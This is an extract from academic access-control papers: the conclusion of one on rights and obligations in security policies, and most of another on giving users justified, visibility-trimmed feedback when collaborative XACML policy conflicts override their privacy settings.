We analyze this policy on situations of lengths 1, 2, 3 and 4. The Table 1 shows
the number of conflicting situations and the execution time. The execution time
increases exponentially with the length of the analyzed situations. This is due to
the fact that we make a first planning in order to seek all executable situations.
And for each executable situation, we make a second planning in order to check
if it is globally enforceable. Recall that this analysis is done at the moment of
the establishment of a security policy and before its implementation.

Table 1. Policy analysis assessment

Path depth Number of conflicting situations CPU time

1 1 0.20 s

2 47 18.46 s

3 738 3580 s

4 3021 90677.95 s

8 Related Work and Discussion

Security policies have been enriched with obligation rules and obligation with
deadline rules to specify other security requirements corresponding to usage con-
trol policies as the availability of information in its allotted time. Several models
have been proposed in the literature to analyze these policies [4,14–17]. How-
ever, we are not aware of any other work that uses right rules in security policies
in order to provide means to express and ensure availability requirements in an
information system. The principle of right violation and preserved right enables
us to detect other misuse situations (ex. situations where fulfilling obligations
necessarily leads to a unavailability in the system) which can not be detected
just by using obligation and permission rules.

In the context of legal system, Sartor in [18] formalizes the concept of pre-
serving permissions using directed obligations. Directed obligations means actions
that individuals must perform to ensure an interest of someone else. Then from
the directed obligations, Sartor defines obligation right. Indeed, when a person
J has an obligation toward a person K to ensure an interest of K, then it said
that K has an obligation right toward J. In our work, we express this kind of
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permissions using the right modality. In our conception of right, we can express
some aspect which is not possible to express using directed obligations. To show
this, consider an example concerning right of data rectification6: A user has the
right to send request to correct information concerning him. We admit that a
necessary condition to make a request to correct information is to have an avail-
able email address of the manager holding the information. Note that in the
context of video surveillance, the CNIL found that in 30 % of cases there is a
lack of informations about the person to contact in order that people exercise
the right of access to their images. Therefore, we consider that the right to send
request is ensured in the situations when the web-master has created the email
address of the manager holding the information and there is no deleting action
that has been applied on this email. We can then consider that the obligation
of the web-master to create an email address of the manager of data modifica-
tion ensured an interest of user to make a request for data rectification. Then,
this corresponds to the obligation right of the user toward the web-master to
create an email address of data manager. With this approach, it is not possible
to explicitly express the right of the user to make a request to change her data.
This is because it is her right to perform the action by herself and not someone
else. On the other side, if there is an obligation which requires for the manager
to respond to a request for modification of data transmitted by a user, in this
case it is an obligation right of the user toward manager to have an answer which
is certainly different from the right to issue the query.

9 Conclusion and Future Works

In this paper, we proposed a model based on deontic modalities and situation
calculus to specify security policies including rights. The model provides means
to detect the violation of rights. Furthermore, we show how we can build a fair
system and detect if there is a policy conflict between obligations with deadline
and rights using a preserved plan.

Notice that in this work, we are defining a persistent right, which must be
ensured at every moment (ex: read document). It is easy to extend this work
for expressing right with deadlines. We mean by a right with deadline, a right
to do an action before some condition holds. Unlike persistent right, it is not
necessary to ensure this right every time. It is sufficient to ensure it before that
the condition holds so the right can be exercised. For example, it is sufficient to
ensure the right of voting before the closing time.

Concerning the management of a conflict between obligations and rights, we
propose to negotiate a waiver of some rights against compensation. This is a
common solution in real life. For example, in a company, employees have a right
to get holidays. The employer may negotiate with the employee by asking her to
renounce to this right to meet the delivery deadline of a given project in exchange
of a monetary compensation. Certainly the fairness of a system depends on the
measurements taken for resolution of such conflict. In this sense, Sartor in [19]
6 http://www.cnil.fr/vos-droits/vos-droits/le-droit-de-rectification/.

http://www.cnil.fr/vos-droits/vos-droits/le-droit-de-rectification/
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provides a solution based on teleological reasoning to evaluate the choices by
considering their effect on goal norms.
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Abstract. With the increasing popularity of collaborative systems like
social networks, the risk of data misuse has become even more critical
for users. As a consequence, there is a growing demand for solutions to
properly protect data created and used within these systems. Enabling
collaborative specification of permissions, while ensuring an appropri-
ate levels of control to the different parties involved, inherently leads to
decisions of some users being overruled by the policies of other users.
Users need to be aware that this is happening and why, otherwise they
may lose trust in the system, which can impact their willingness to col-
laborate. Enhancing user awareness requires that users know about and
understand the conflicts that occurred. In this paper, we propose an app-
roach to compute a justification for a decision in cases where conflicts
occur and, based on this, generate feedback that explains users why their
decision was not enforced.

1 Introduction

Recent years have witnessed an increasing popularity of collaborative systems
like social networks and shared editing platforms. These systems provide virtual
worlds in which their users can interact with each other and share information.
Within these virtual worlds, multiple users can be involved in the creation and
management of data, each of them retaining some level of authority over the data.
This has spurred the design of solutions for enabling collaborative specification
of permissions in which each user can specify its own authorization requirements
for the protection of the data under its control [3,12,13,26]. In particular, these
solutions aim to ensure an appropriate levels of control to the different parties
involved.

Every user expects its authorization requirements to be enforced by the
system. However, this is not always possible as users can specify conflicting
authorization requirements for the same resources. Most access control mecha-
nisms employ policy conflict resolution strategies [15,19,21–23] to automatically
determine how policy conflicts should be resolved based, for instance, on prior-
ities between decisions (e.g., permit-overrides) or the ordering of policies (e.g.,
first-applicable). Although their use is necessary to guarantee the proper func-
tioning of the system, these strategies make policy evaluation non-transparent
to users. In fact, access control mechanisms usually adopt a black-box approach
c© Springer International Publishing AG 2016
I. Ray et al. (Eds.): ICISS 2016, LNCS 10063, pp. 109–130, 2016.
DOI: 10.1007/978-3-319-49806-5 6
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whose aim is only to obtain a conclusive decision to be enforced. This black-box
approach results in users not being aware whether their policies have actually
been enforced. The lack of transparency in decision making can effect users’
experience and, consequently, their confidence in the system.

A few proposals [13,20] make a first step towards the design of transparent
access control mechanisms. In particular, Mahmudlu et al. [20] propose a feed-
back mechanism that identifies mismatches between the decision enforced by the
system and user policies and notifies users about them. Although this feedback
enhances user awareness about access decision making, it does not allow users to
understand why their policies have not been enforced. Without this knowledge,
users can feel that their data are not adequately protected and, thus, have a low
confidence in the system. (Security and protection of private data are important
factors for trust, especially for knowledgeable users [4,5]).

In this work, we make a step further towards the design of transparent access
control mechanisms by presenting an approach that not only notifies users about
policy conflicts but also provides them with a meaningful explanation of why
their decision has been overruled. The approach relies on the data governance
model presented in [20] to represent how the authorization requirements of the
users contributing to the creation and management of a data object are combined
to form a global policy, which is ultimately used to regulate the access to the
object. Based on the evaluation of the global policy, we identify the user policies
that were used to obtain the decision enforced by the authorization mechanism,
providing a justification for the decision.

Policies and decision preferences of users, however, can be sensitive them-
selves [27,29]. Thus, not all users are supposed to see the full explanation of a
decision. Instead, the feedback should give an appropriate level of detail, which
takes into account the relationship of users with the data as well as the visibility
preferences of the policy authors. To this end, we trim the explanation for a deci-
sion based on visibility restrictions, indicating which portion of the explanation
a user is allowed to see. It is of utmost importance that the feedback is under-
standable by users. Therefore, we show how the feedback can be formulated in
a human readable format, focusing on the relevant parts and customizing the
feedback to reflect the relationship of the user with the data.

The remainder of the paper is organized as follows. The next section provides
background on data governance and policy mismatch. Section 3 illustrates the
problem of transparency in access control through a typical scenario in social
network. Section 4 presents our approach to compute feedback concerning policy
and to express it in a way that is understandable by end-users. Section 5 discusses
related work. Finally, Sect. 6 concludes the paper and presents directions for
future work.

2 Background

This section provides background on data governance and policy mismatch.
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2.1 Data Governance Model

In collaborative systems, several users can contribute to the creation, governance
and management of data. Each user can retain some authority on the data. In
this work, we adopt the data governance model proposed in [20] to represent and
reason on the governance of data controlled by multiple users. This model poses
its basis on the notion of archetype [6], which is used to capture the relations of
users with data objects, and uses an archetype hierarchy to represent and reason
on the level of authority that users have over the data based on their archetype.
An archetype hierarchy is defined as follows:

Definition 1. Let A be the set of archetypes for a data object o. An archetype
hierarchy H has the form:

H = SH | (SH , t,H)
SH = L | (L,⊕,SH ) | (L,�,SH )

L = a | (σ[a1, . . . , an])

An archetype hierarchy H is (recursively) built over sub-hierarchies (SH) and
levels (L) by concatenating them according to a given priority that can be total
(denoted by t), positive (denoted by ⊕) or negative (denoted by �). A level L
consists of an archetype a or a set of archetypes a1, . . . , an ∈ A that are combined
using intra-level aggregator σ.

An archetype hierarchy is used to combine stakeholders’ authorization
requirements into a global policy, which regulates the access to data. In par-
ticular, the work in [20] supports the definition of the global policy for a data
object from stakeholders’ authorization requirements specified as XACML poli-
cies (hereafter called user policies). The combination of user policies in the global
policy reflects the level of authority that stakeholders have over the object as
defined in the archetype hierarchy. The underlying idea is to represent priori-
ties between levels and intra-level aggregators as policy combining algorithms.
Here, we do not impose any restriction on the combining algorithms that can be
used. The only requirement is that they can be implemented in XACML. Table 1
presents an overview of policy combining algorithms that have been proposed
for and/or adapted to XACML.1

For the sake of simplicity, in this work we abstract from the XACML specifi-
cation (e.g., target, rule, policy, policy set), while keeping full compatibility with
the standard. We represent (XACML) policies as trees where nodes are labeled
with a combining algorithm and leaf nodes are labeled with user policies. In par-
ticular, we represent policy trees either in graphical (see e.g. Fig. 1b) or textual
form where ca(Δ1, . . . ,Δn) represents a node labeled with combining algorithm
ca and subtrees Δ1, . . . ,Δn.

It is worth noting that our representation of policies accounts for user policies
as atomic elements regardless of whether they are composite policies themselves.
1 We assume the reader is familiar with conflict resolution strategies and, in particular,

with XACML policy combining algorithms.



112 J. den Hartog and N. Zannone

Table 1. Policy combining algorithms for XACML

Policy combination algorithm Source

permit-overrides (pov) [15,22,23]

deny-overrides (dov) [15,22,23,25]

ordered-permit-overrides (opov) [22,23]

ordered-deny-overrides (odov) [22,23]

first-applicable (fa) [1,22,23,25]

only-one-applicable (ooa) [22,23]

permit-unless-deny (pud) [23]

deny-unless-permit (dup) [23]

specificy-precedence (sp) [15,21,24,25]

weak-consensus (wc) [19]

strong-consensus (sc) [13,19]

weak-majority (wm) [19]

strong-majority (sm) [13,19]

super-majority-permit (smp) [13,19]

This is due to the fact that the feedback mechanism proposed in this work focuses
on the governance of data controlled by multiple users and, in particular, aims
to identify the users whose policies have overridden the policy of a given user.
Therefore, this level of granularity is adequate for our scope.

Below we present how the global policy is constructed from the archetype
hierarchy and user policies.

Definition 2. Given a data object o, let A be the set of archetypes for o, H the
archetype hierarchy built over A, U the set of user identifiers (or simply users) and
PU the set of user policies where pu ∈ PU denotes the policy of user u ∈ U . Let
UA ⊆ U × A be the user-archetype assignment, i.e. (u, a) ∈ UA iff user u has
archetype a. We construct the global policy PH for H starting from the top of H:

P(SH,t,H) = fa(PSH , PH)
P(L,⊕,SH) = opov(PL, PSH)
P(L,�,SH) = odov(PL, PSH)

P(σ,[a1,...,an]) = caσ(Pa1 , . . . , Pan
)

Pa = caa(pu1 , . . . , pum
)

where caσ is the combining algorithm realizing the intra-level aggregator σ, caa

the combining algorithm associated with archetype a ∈ A and pu1 , . . . , pum
∈ PU

where u1, . . . , um are the users such that (u1, a), . . . , (um, a) are in UA.

For some objects and archetypes it is natural that there is only a single
user associated to a given archetype. In this case we use only-one-applicable as
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archetype combining algorithm caa. This way the decision of the (only) user pol-
icy becomes the decision of the archetype and the presence of multiple decisions
would result in an error (Indeterminate).

The global policy for a data object is used to determine whether access
to the object should be granted or not. We use the following abstract
notation to represent the policy evaluation process: P denotes the set of
XACML policies, Q the set of access requests, and function �p� : Q →
{Permit,Deny,NotApplicable, Indeterminate} denotes policy evaluation, i.e. �p�(q)
is the decision according to a policy p ∈ P for an access request q ∈ Q. In par-
ticular, Permit (P) denotes that access is granted, Deny (D) denotes that access
is denied, NotApplicable (NA) denotes that the policy is not applicable, and
Indeterminate (I) denotes that an error occurred during evaluation.

2.2 Policy Mismatch

Ideally, an authorization mechanism should enforce the authorization require-
ments of all users. However, this is not always possible. In fact, users can specify
conflicting authorization requirements, which results in conflicting policies. In
this work, we use the notion of policy mismatch introduced in [6,20] to cap-
ture that the decision yielded by a user policy differs from the one obtained by
evaluating the global policy.

Definition 3. Let p1, . . . , pn be the policies of n users and p the global policy
obtained by combining such policies. Given an access request q, a user u (with
u ∈ {1, . . . , n}) has a policy mismatch if �pu�(q) �= �p�(q).

The notion of policy mismatch provides the baseline for enabling trans-
parency in access control. For instance, Mahmudlu et al. [20] show how to
augment SAFAX [16], an XACML-based architectural framework that offers
authorization as a service, with a transparency service that detects mismatches
between the decision enforced by the authorization mechanism and users’ autho-
rization requirements. Any mismatch found is reported to those users whose
decision was not enforced.

3 Motivating Example

This section illustrates the motivation for this work using a FaceBook-like social
network augmented with a collaborative access control system in the style of [20].

Example 1. An online social network provides a collaborative environment in
which users can post messages and photos in their profile and share these objects
with other users. Users can also post messages and photos in the profile of other
users (if they have permission) and tag a data object to indicate the user(s) to
whom the object refers.

To regulate the access to data, the social network allows users to specify
their privacy settings. A user’s privacy settings govern the actions that users
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(or groups of users, e.g. Friends, Colleagues) in the social network can perform
on the objects (profile, posts, etc.) controlled by the user. The social network
also defines a default policy that is used to handle the situations in which users
do not specify their privacy settings.

Our scenario focuses on a user who posts a photo in the profile of another
user. The photo shows five individuals, who are registered to the social network.
These users are tagged and, thus, the photo is linked to their profile.

In the scenario above, we can identify four archetypes for the photo: Data
Subject (DS), Data Host (DH), Data Provider (DP) and Social Network (SN).
The Data Subject archetype is used to represent the individual(s) to whom the
(personal) data refer. In our scenario, this archetype denotes the users appearing
in the photo.2 The Data Host archetype is used to represent the user owning
the profile in which the photo has been posted. The Data Provider archetype is
used to denote the user who posted the photo. Social networks usually define
default settings that are used if users do not specify custom settings. Given the
collaborative nature of our setting, we assume that default settings apply to the
collaboration (in contrast to single users) and, thus, they are only considered if no
other settings have been specified by any user. We capture these default settings
within the governance of the photo through the Social Network archetype.

The identified archetypes can be organized in a hierarchy (Fig. 1a). We
assume that the Data Subject has the highest priority as it should be able to
influence the processing of its personal data [11]. The next level comprises the
Data Host, who is responsible for the contents posted in its profile, followed by a
level formed by the Data Provider. The lowest level is formed by the Social Net-
work. The first three levels are ordered using a negative priority (�), meaning
that the negative authorization requirements (i.e., requirements explicitly deny-
ing access to data) associated to the higher level take precedence; otherwise, the
access requirements defined by the stakeholders at the lower level should also be
evaluated. The default settings defined by the Social Network is overridden by
the settings of the other stakeholders. We capture this requirement using a total
priority (t) between the Social Network and higher levels.

The global policy p is obtained by instantiating the archetype hierarchy in
Fig. 1a with user policies. Let users A, B, C, D and E be the Data Subjects (i.e., the
users appearing in the photo), user F the Data Host and user G the Data Provider.
Each of these users can define a (possibly empty) policy to regulate the access to
their data. Moreover, we use pSN to denote the default settings provided by the
social network. Textually, the global policy can be represented as follows:

p = fa(odov(sm(pA, pB , pC , pD, pE), odov(ooa(pF ), ooa(pG))), ooa(pSN ))

2 Note that the problem of recognizing the subjects of a piece of information is orthog-
onal to the scope of this work. Here, we assume that tags are reliable, i.e. they link a
piece of information to the corresponding data subjects. Although it is not addressed
in this work, tag validation has been proven to be feasible and, for instance, several
algorithms have been proposed to automatically recognize people in contents such
as photos [13].
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pF pG

(b) Global policy

Fig. 1. Data governance model and instantiation

A graphical representation of the global policy as a policy tree is shown in
Fig. 1b. Priorities in the archetype hierarchy are encoded as combining algo-
rithms in the global policy as defined in Definition 2. Levels and archetypes are
defined along with a combining algorithm that specifies how archetype policies
and user policies forming them should be combined respectively. Here, we assume
that the policies specified by data subjects are combined using the strong-majority
(sm) combining algorithm proposed in [19]. According to this combining algo-
rithm, access is granted if over half of all subpolicies allow it, and deny access
if over half deny it; otherwise, an indeterminate decision is returned. The other
archetypes (i.e., Data Host, Data Provider and Social Network) are associated
to only one user. As described in Sect. 2, we use only-one-applicable (ooa) as the
archetype combining algorithm for these archetypes. Similarly, all levels con-
sist of only one archetype. Accordingly, they are represented as the archetype
forming them (see Definition 1).

Example 1 (Cont.). Suppose a user u requests to view the photo. The autho-
rization system has to evaluate the access request q made by u against the global
policy p in Fig. 1b. Assume user policies are evaluated as follows:

�pA�(q) = D �pE�(q) = D
�pB�(q) = D �pF �(q) = NA
�pC�(q) = P �pG�(q) = P
�pD�(q) = D �pSN �(q) = P

Accordingly, the request is denied by the authorization mechanism, i.e.
�p�(q) = D.

We can observe that the authorization requirements of some users have not
been enforced. For instance, the requirements of users C and G allows the
requester to view the photo. The default policy pSN has also been overridden,
indicating that it may be too permissive for certain users. Moreover, we can
observe that some users (e.g., the data host F in our scenario) might not have
specified any authorization requirement to handle certain access requests.

Every user expects its policies to be enforced by the authorization mecha-
nism; however, as shown in the example above, the policy of some users can be
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overridden by the policies of other users. Although the use of strategies that auto-
matically resolve policy conflicts is necessary to guarantee the proper functioning
of the system, users are often unaware whether their policies have actually been
enforced. The main problem is that most of the existing authorization mecha-
nisms only aim to obtain a conclusive decision to be enforced and do not identify
and/or record policy mismatches. We argue that this lack of transparency can
affect the collaboration among users and, in particular, their willingness of shar-
ing sensitive information.

A few works [13,20] propose feedback mechanisms that detect and notify the
user of policy conflicts. These solutions, for instance, would notify users C and G
that access has been denied despite their policies granting it. Although this feed-
back enhances user awareness about the access decision making process, it does
not allow users to understand why their policies have not been enforced. With-
out this knowledge, users can feel that their data are not adequately protected
and, thus, have a low confidence in the system. In this work, we investigate the
problem of designing fully transparent authorization mechanisms that are able
to explain to users why a certain access decision has been made.

Although it is crucial that users understand why their policies have been
overridden, the feedback generation should be separated from policy evaluation.
Certain systems like critical infrastructures require a fast response time and,
thus, any delay introduced by the feedback generation could compromise the
functioning of the system. To achieve this separation of concerns, we envision
transparency as a service. Similarly to [20], we decouple the feedback mechanism
from policy evaluation, thus relieving the burden of computing the user feedback
from the policy evaluation engine. This design choice has the added benefit
that authorization mechanisms already in place can easily be augmented with
transparency, thus facilitating the adoption of transparency in existing systems.
In the next section, we present a framework with a feedback mechanisms that
not only notify users if a policy mismatch occurred but also provide them with
a justification of why their policies have not been enforced.

4 Approach

Upon receiving an access request, the authorization mechanism evaluates the
request against the global policy to determine the access decision to be enforced.
However, as shown in the previous section, the authorization requirements of
some users might have to be overridden in order for the authorization mechanism
to reach a conclusive decision. The goal of this work is to raise awareness of
users about the enforcement of their authorization requirements. This section
presents our approach to generating feedback which explains to users why their
authorization requirements have not been enforced. The approach, shown in
Fig. 2, consists of four main steps.

The first step is to find policy mismatches, i.e. those situations in which user
policies have been overridden (see Definition 3). To detect policy mismatches,
we employ the transparency service presented in [20]. This service identifies mis-
matches and users involved by comparing the decision for a request according
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to the global policy with the decision according to user policies evaluated indi-
vidually. The service also provides a feedback mechanism for mismatches which
notifies the users involved. We refer to [20] for details on the transparency service
for policy mismatch detection and notification.

Although this transparency service makes users aware of whether or not their
policies have been enforced, notifications should be extended to provide an expla-
nation of why a user’s policy was overridden in order to increase user awareness
in access decision making. To provide such explanations, we compute the deci-
sion annotated evaluation path, which provides a justification for the decision
enforced by the system (step 2). Intuitively, a decision annotated evaluation
path comprises a (minimal) set of user policies (along with their evaluation)
that allows the system to show why a certain decision was obtained.

A decision annotated evaluation path provides a “technical” explanation of
why a certain decision was reached. End-users know the archetype hierarchy but
may not be able to interpret explanations based on the global policy. Therefore,
we express feedback in terms of the archetype hierarchy, to give users the infor-
mation needed to understand the decision justification. Also, a decision anno-
tated evaluation path may reveal information about the policies of other users.
Policies themselves can be sensitive [27,29] and, thus, need to be protected. To
this end, we employ visibility policies to regulate the information disclosed in the
feedback (step 3). In particular, visibility policies are used to determine visibil-
ity restrictions on the justification, indicating which portion of the justification
should be visible to a user based on its place in the archetype hierarchy, and to
trim the justification accordingly. In this work we assume that users set the vis-
ibility policies of their own access control policies, whereas the visibility policies
of the other elements (e.g., archetypes, levels) are defined during the setting of
the collaboration along with the archetype hierarchy.

Note that we have separated the computation of the justifications for a deci-
sion from the computation of the feedback. An advantage of this separation is
that the feedback can be customized with respect to the relation of the user to be
notified with the data object. In particular, the granularity of the feedback given
to end-users can be tuned on the basis of the needs of the application domain
and visibility restrictions without modifying the procedure used to compute the
feedback.

It is important that the feedback is understandable by the users. In addi-
tion to relating it to terms they know (the archetype hierarchy) we show how
the feedback can be formulated into a human readable format (step 4). In
particular, we transform the justification for a decision trimmed with respect
to visibility restrictions into a textual description, focusing on the relevant
parts and customizing the feedback to reflects the user’s place in the archetype
hierarchy.

4.1 Computing Decision Justifications

As seen above, we use an (ordered) labeled tree to represent the global policy
where nodes are labeled with a combining algorithm and leaf nodes with user
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Fig. 2. Approach to enhance user awareness in access decision making

policies. Formally, an ordered tree is a set of nodes N with a partial order amongst
the nodes and a total order amongst the children of each node. A labeling of
a tree is a function from nodes to some domain of labels. A labeled tree is a
tree with one or more labellings. Recall that we use ca(Δ1, . . . ,Δm) to indicate
a node labeled with a combining algorithm ca and subtrees Δ1, . . . ,Δm. Note
that this notation defines both the tree structure and a labeling. Moreover, we
refer to a connected subgraph of a tree containing the root as a pruning of the
tree. Note that a pruning is itself a tree and the union of multiple prunings is
again a pruning.

We introduce an additional label to the global policy in order to capture
decisions reached.

Definition 4. Let N be the set of nodes in the global policy and Q the set of
access requests. The Decision labeling with respect to an access request q ∈ Q is
a labeling Dq : N → {Permit,Deny,NotApplicable, Indeterminate}. A node n ∈ N
is labeled with a decision according to the policy that the subtree of n represents:

– for n labeled with user policy p, Dq(n) is �p�(q);
– for n labeled with combining algorithm ca, Dq(n) is the result of ca applied to

decision list Dq(n1), . . . , Dq(nm) where n1, . . . , nm are the children of n.

The Decision labeling denotes the outcome of policy evaluation with respect to a
given access request. For nodes labeled with a combining algorithm, the Decision
label is the result of applying that combining algorithm to the decision labels of
its children. Note that this is equivalent to evaluating the policy tree rooted in
n, i.e. D(n) = �ca(Δ1, . . . ,Δm)�(q) with Δ1, . . . ,Δm the subtrees of n.

Example 2. The Decision labeling of the global policy in Fig. 1b, labeled accord-
ing to the decisions of user policies as given in Example 1, is:

fa:D(odov:D(sm:D(pA:D, pB :D, pC :P, pD:D, pE :D),
odov:P(ooa:NA(pF :NA), ooa:P(pG:P))), ooa:P(pSN :P))

Note that, if only the decisions of the user policies are given, the other decisions
can be computed. Thus, without loss of information, we may as well write:

fa(odov(sm(pA:D, pB :D, pC :P, pD:D, pE :D),
odov(ooa(pF :NA), ooa(pG:P))), ooa(pSN :P))
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In order to compute the feedback to be sent to a user, we first need to identify
which user policies have been used to obtain a certain decision. To this end, we
introduce the notion of decision annotated evaluation path.

Definition 5. Given an access request q ∈ Q, let p be the global policy with
Decision labeling with respect to q. A decision annotated evaluation path for q
is a minimal pruning of p that justifies decision �p�(q).

A decision annotated evaluation path can be seen as the set of (decision
annotated) user policies that allows the system to show how a certain decision
was obtained, thus representing a justification for the decision. A decision anno-
tated evaluation path is minimal, i.e. if any node is removed, it no longer forms a
justification for the decision. To prune the (decision annotated) global policy to
a decision annotated evaluation path we can start from the root and recursively,
for each node labeled with a combining algorithm ca, only include a minimal
subset of children that justify the decision label (according to ca). Note that the
pruning depends on the semantics of the combining algorithms with respect to
a given decision. For the sake of space, we omit the formal definition of minimal
pruning and only provide the intuition for a few algorithms.

deny-overrides returns Deny if and only if one of the subpolicies returns Deny.
Therefore, to show that a policy dov(Δ1, . . . ,Δm) is evaluated Deny, it is
sufficient to show that one of the subpolicies evaluate Deny. In contrast, for
the other decisions (i.e., Permit, NotApplicable, Indeterminate) the decision
annotated evaluation path should provide all (decision annotated) subpolicies
as the system has to show that none of the subpolicies evaluate Deny.

ordered-deny-overrides is identical to deny-overrides with the exception that sub-
policies are considered in the order in which they are defined. Accordingly,
the decision annotated evaluation path will contain the first subpolicy that
evaluates Deny if any; otherwise, if no subpolicies evaluate Deny, all (deci-
sion annotated) subpolicies are included in the decision annotated evaluation
path.

first-applicable returns the decision of the first applicable policy. Accordingly, the
decision annotated evaluation path contains the policy used to make the deci-
sion together with the previous policies. In fact, the system should show that
none of these previous policies is applicable. Following the same intuition, if
none of the subpolicies are applicable, all subpolicies are given in the decision
annotated evaluation path.

strong-majority returns a conclusive decision, either Permit or Deny, if over half of
all subpolicies evaluate Permit and Deny respectively; otherwise, Indeterminate
is returned. Accordingly, it is sufficient for the system to only show that
over half of all subpolicies return Permit (Deny) to prove that the policy
is evaluated Permit (Deny). On the other hand, in case of Indeterminate, the
system has to show that a majority of either Permit or Deny cannot be reached.

Example 3. Based on the evaluation of Example 1, the requester is not allowed
to view the photo. Analyzing the global policy, we can observe that access is
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denied because the majority of data subjects deny the access. In particular, four
data subjects out of five stated in their policies that access should be denied. To
show why a Deny decision was reached, the system has only to show that three
data subjects denied the access (i.e., the majority). Accordingly, the following
decision annotated evaluation path justifies the decision:

fa(odov(sm(pA:D, pB :D, pD:D)))

Figure 3 shows a graphical representation of this decision annotated evaluation
path. It is easy to observe from the figure that it is a minimal pruning of the
global policy in Fig. 2 that justifies the decision obtained.

fa:D

odov:D

sm:D

pA:D pB :D pD:D

Fig. 3. Decision annotated evaluation path

4.2 Computing Feedback

In this section, we show how a decision annotated evaluation path can be used
to compute the feedback. First, we present how to link the global policy to the
archetype hierarchy. Then, we propose an approach to determine the granularity
at which a user can see the feedback based on its place in the archetype hierarchy.

Linking the Global Policy to the Archetype Hierarchy. A decision anno-
tated evaluation path represents how the decision for a given access request
has been reached. However, it only provides a purely “technical” explanation
in terms of partial decisions and combining algorithms. Feedback based on the
archetype hierarchy rather than on the details of its implementation will likely
be easier to understand by end-users.

To enable such a feedback we relate the global policy, and thus also any
decision annotated evaluation path, to the archetype hierarchy by introducing
an additional labeling of the global policy.

Definition 6. Let N be the set of nodes in the global policy, H the set of ele-
ments in the archetype hierarchy H (i.e., priorities, levels, archetypes) from
which the global policy is derived and U the set of user identifiers. The Element
labeling is a labeling E : N → H ∪ U . A node n ∈ N is labeled as follows:

– For n labeled with a combining algorithm modeling hierarchy element
(SH, t,H), E(n) is t;
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– For n labeled with a combining algorithm modeling hierarchy element
(L,⊕, SH), E(n) is ⊕;

– For n labeled with a combining algorithm modeling hierarchy element
(L,�, SH), E(n) is �;

– For n labeled with a combining algorithm modeling hierarchy element
(σ[a1, . . . , an]), E(n) is � where � is the level identifier;

– For n labeled with a combining algorithm modeling an archetype a, E(n) is a;
– For n labeled with a policy p of user u, E(n) is u.

Labeling E annotates the global policy with the corresponding element in the
hierarchy and with the users contributing to its definition. Hereafter, we use
notation [·] to represent Element labels, e.g. p[e]:d denotes a node with policy
element label p, hierarchy element label e and decision label d.

The Element labeling provides us with the complete information about the
construction of the global policy, which is needed to provide users meaningful
feedback and to compute the visibility of the feedback as shown in the remainder
of the section.

Example 4. The decision annotated evaluation path of Example 3, annotated
with Element labeling, is: fa[t]:D(odov[�]:D(sm[DS]:D(pA[A]:D, pB [B]:D, pD[D]
:D))) (or in short notation: fa[t](odov[�](sm[DS](pA[A]:D, pB [B]:D, pD[D]:D))))

Reasoning on Feedback Visibility. One can observe in Example 4 that the
justification for a decision can provide insights into the policies of other users.
While it may be reasonable for the collaborating data subjects (e.g., C in our
scenario) to see the individual votes of the fellow data subjects, they may wish
to not reveal this information to other users (e.g., to the data provider G).
Policies and decision preferences of users might be sensitive; thus, not all users
are supposed to see the full explanation of a decision. Yet, they do need to get
informative feedback if their policies have not been enforced.

To determine at which granularity a user can see the justification for a deci-
sion, we annotate the global policy with a visibility policy, indicating which
portion of the decision annotated evaluation path is visible to users based on
their place in the archetype hierarchy, and show how the visibility policy can
be used to trim the justification. Visibility policies are expressed in terms of
visibility levels.

Definition 7. The visibility classification is a pair (V, >) where V =
{User ,Archetype, Level ,Subhierarchy ,Hierarchy ,Decision} is the set of visibil-
ity levels and > is a total order on V such that:

User > Archetype > Level > Subhierarchy > Hierarchy > Decision

We extend this to V⊥ by adding ⊥ (undefined) which is smaller than any level.
Given two visibility levels vi and vj, we use vi ∧ vj to denote the minimum and
vi ∨ vj to denote the maximum visibility level between vi and vj with respect to
>, i.e.
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vi ∧ vj =
{

vj if vi > vj

vi otherwise vi ∨ vj =
{

vi if vi > vj

vj otherwise

Moreover, vi � vj denotes that vi overrides vj, i.e.

vi � vj =
{

vi if vi �= ⊥
vj otherwise

Visibility levels define the granularity at which justifications can be seen in
terms of types of nodes. The finest level is User which allows seeing decisions of
users. Archetype instead only allows seeing the decision reached by the archetype
but not the users within the archetype (e.g., for DS we see the results of the ‘vote’
but not any of the votes themselves). Level abstracts a step further allowing
only the level decision to be seen (in our example each level consists of only one
archetype so this is not a mayor distinction, but in general a level may consist
of multiple archetypes [20]). Subhierachy allows seeing the decision of the sub-
hierarchies but not the levels themselves. Hierarchy abstracts a step further,
allowing only seeing the decision of total priorities. Decision only allows seeing
the end result and not how this decision was reached.

In general, not all users will be allowed to see a justification at the same
granularity. Instead, just like the access rights, ‘visibility’ rights depend on the
relation users have to the object considered. As such we assign an internal and
external visibility level to the different components of the hierarchy and combine
these to reach a visibility level for each mismatch that occurs.

Definition 8. Let N be the set of nodes in the global policy and (V, >) the
visibility classification. A visibility policy is a labeling V : N → V × V. For a
node n ∈ N , the visibility policy label V (n) is a pair 〈e, i〉 where e is the external
visibility level and i is the internal visibility level of n.

A visibility policy determines whether only the decision or some detail of
the internal decision making structure is visible. Setting the visibility level of a
node lower than the type of the node it is assigned to, means only the decision
is visible. Setting a higher level allows some visibility of the decision making
structure but only up to the level given and only so far as the subtree allows
it. Setting the visibility level of a node equal to the type of the node will also
result in showing only the decision (as all subtrees will have a higher visibility
level so will not be visible) with the exception of priority nodes that can have
other priority nodes as a child node.

With a visibility policy in place we can determine which part of a justification
a user can see. Recall that a justification is an (annotated) pruning of the global
policy. The underlying idea for determining which nodes of the justification are
visible to a given user, is to take the shortest path from the user to the node
(i.e., up to the least upper bound and then down to the node) and take the
minimum visibility level encountered, where in each step the internal visibility
of the destination is used when moving up and its external visibility when moving
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down. When this minimum visibility is greater or equal to the type of the node,
then the node is visible to the user.

We formalize this process in two steps. First, we compute the visibility restric-
tion of the nodes in the global policy by moving up through the policy tree. Then,
we use the computed visibility restriction to trim a justification by moving down
through the policy tree. The visibility restriction captures the location of a user
compared to nodes by combining internal policies that apply to the user for that
node.

Definition 9. Let N be the set of nodes in the global policy, U the set of user
identifiers and V the set of visibility levels. The visibility restriction with respect
to a user u ∈ U is a labeling VRu : N → V⊥. The visibility restriction of a user
police node with respect to a given user u is:

VRu(p[u′]〈·, i〉) =

{
i if u = u′

⊥ otherwise

and if node n〈·, i〉 has children n1, . . . , nm then:

VRu(n〈·, i〉) = i ∧ (VRu(n1) ∨ . . . ∨ VRu(nm))

We extend our label notation by writing ca[k]〈e, i〉(...)|ux for a node with
element label k, external policy label e, internal policy label i and restriction x
with respect to user u. Moreover, we write Δ|u to indicate a policy tree Δ with
restriction labeling with respect to user u. Note that we only write the relevant
